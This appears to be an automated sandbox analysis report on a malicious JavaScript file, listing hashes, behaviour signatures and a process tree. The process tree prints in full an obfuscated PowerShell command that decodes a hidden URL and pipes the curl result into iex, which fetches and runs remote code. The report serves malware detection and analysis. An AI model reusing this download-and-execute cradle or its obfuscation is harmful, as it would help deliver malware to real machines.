Analysis
-
max time kernel
94s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 14:52
Static task
static1
Behavioral task
behavioral1
Sample
f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js
Resource
win10v2004-20241007-en
General
-
Target
f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js
-
Size
255KB
-
MD5
8a64f332eec507a5ca7cdecdd3329584
-
SHA1
13f633512645b00097c8658d1ff05fbf7d33aa25
-
SHA256
f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12
-
SHA512
3ce65f5be0c8434f0395d9fc44d5691e11abd361f31018b63b91c56c663417feae9a93785f30ca041ecf08cc1d437a12547664ed12bd622fb8e7abba94117e62
-
SSDEEP
1536:nwpImsQw3kO6iF8n7aJYgA/x7ncxtcGBwokj3AmsQw3kO6iF8n7aaYgA/x7ncxtC:n5invc7c9YinSc7c98c7c9minUinw
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4844 2300 conhost.exe 83 -
Blocklisted process makes network request 1 IoCs
flow pid Process 9 4436 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4436 powershell.exe 4436 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4436 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4844 wrote to memory of 4436 4844 conhost.exe 85 PID 4844 wrote to memory of 4436 4844 conhost.exe 85
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js1⤵PID:3344
-
C:\Windows\system32\conhost.execonhost --headless powershell $nicvslh='ur' ;new-alias printout c$($nicvslh)l;$vakxnqferultp=(7839,7850,7858,7842,7844,7839,7859,7858,7863,7796,7858,7792,7839,7787,7857,7852,7853,7788,7790,7787,7853,7845,7853,7804,7856,7802,7850,7846,7851,7857,7856,7791,7790);$ioekvwrtn=('bronx','get-cmdlet');$xrakfqdc=$vakxnqferultp;foreach($wjcqyvxuimzobl in $xrakfqdc){$omwpjuazgl=$wjcqyvxuimzobl;$tyhcwurqjfmz=$tyhcwurqjfmz+[char]($omwpjuazgl-7741);$oznbacvwgqjs=$tyhcwurqjfmz; $kazrubxefsl=$oznbacvwgqjs};$ovklwm[2]=$kazrubxefsl;$aoilnefvxzrhdk='rl';$ygbflqzjcvxude=1;.$([char](9992-9887)+'e'+'x')(printout -useb $kazrubxefsl)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $nicvslh='ur' ;new-alias printout c$($nicvslh)l;$vakxnqferultp=(7839,7850,7858,7842,7844,7839,7859,7858,7863,7796,7858,7792,7839,7787,7857,7852,7853,7788,7790,7787,7853,7845,7853,7804,7856,7802,7850,7846,7851,7857,7856,7791,7790);$ioekvwrtn=('bronx','get-cmdlet');$xrakfqdc=$vakxnqferultp;foreach($wjcqyvxuimzobl in $xrakfqdc){$omwpjuazgl=$wjcqyvxuimzobl;$tyhcwurqjfmz=$tyhcwurqjfmz+[char]($omwpjuazgl-7741);$oznbacvwgqjs=$tyhcwurqjfmz; $kazrubxefsl=$oznbacvwgqjs};$ovklwm[2]=$kazrubxefsl;$aoilnefvxzrhdk='rl';$ygbflqzjcvxude=1;.$([char](9992-9887)+'e'+'x')(printout -useb $kazrubxefsl)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4436
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82